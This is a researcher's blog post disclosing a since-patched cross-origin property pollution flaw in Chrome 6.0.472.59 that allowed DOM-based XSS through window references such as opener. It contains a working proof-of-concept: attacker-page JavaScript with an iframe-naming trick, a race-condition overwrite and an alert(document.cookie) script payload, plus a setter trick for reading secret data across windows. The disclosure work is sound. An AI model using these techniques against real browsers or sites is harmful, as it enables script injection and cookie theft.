Chrome Cross-origin property pollution

Two years have passed since my research about Browser Based DOM Xss (slides 21-42) went public and now new browsers versions implement improved checks against the possibility to overwrite cross windows/cross domain objects.

Last week, while working on the new project about DomXss, I found that Chrome v. 6.0.472.59 had an issue similar to the opener object on IE7.
Specifically, this can be done in spite of the SOP by creating, from an attacker's page, an IFRAME with the name of the object the other window is trying to access and the overwriting it using JavaScript.
It works on every window reference. An attacker can trigger a Browser Based DOM Xss which will result in stealing sensitive data, overwrite SOP protected window objects or execute JavaScript in the context of a legit page.

How it works

Suppose victim's host has a page using JavaScript like the following:

<script>

document.writeln("<p>" +
window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage + "</p>");

document.writeln("<p>" +
window.opener.WWHFrame.WWHControls.fBookmarkLink() + "</p>");
</script>

Obviously it won't be directly exploitable as a DOMXss since the attacker cannot control WWHFrame object because of SOP.
But Attacker can use this evil page to trigger the Xss:

// at.tack.er page
document.body.innerHTML+="<iframe name=WWHFrame src='/'></iframe>"; // create the iframe with the name we want.

function go(){ // overwrite the name with an object
WWHFrame={WWHHelp: {
mMessages:{mBookmarkLinkMessage:"<scr"+"ipt>alert(document.cookie)</scr"+"ipt>"}
} , WWHControls:{fBookmarkLink:function(){return "";}}}
}

si=setInterval(go,1); //Race Condition for setting the value at the right time..

open('http://vi.ct.im/page.html',"_blank");

The code above, simply creates a frame with the same name of the object victim's page is trying to access to and then the malicious code overwrites the iframe name with another object.

After that the victim site will have access to the object itself and in some case will use those values in the page itself like writing or evaluating them in the document, triggering a Browser based DOM Xss.
Obviously, that is a simple example using opener, but it works for any window reference (top|parent|opener etc).

It is also possible for a malicious user to make use of setters and getters to read sensitive data or return objects belonging to the victim's window itself.

// from attacker window
WWHelp={set SecretData(newdata){alert(newdata);}}

// from victim's page
top.WWHelp.SecretData="SomeSecretToken";

Fix

Every Google Chrome user should already be safe using a version >6.0.472.59.
If you have a vulnerable version, please, download the latest one (after trying some hack of course :)

Aknowledgements
I would like to thanks The Google Chrome security team for the fastest response to patch time range I've ever seen and for their helpfulness.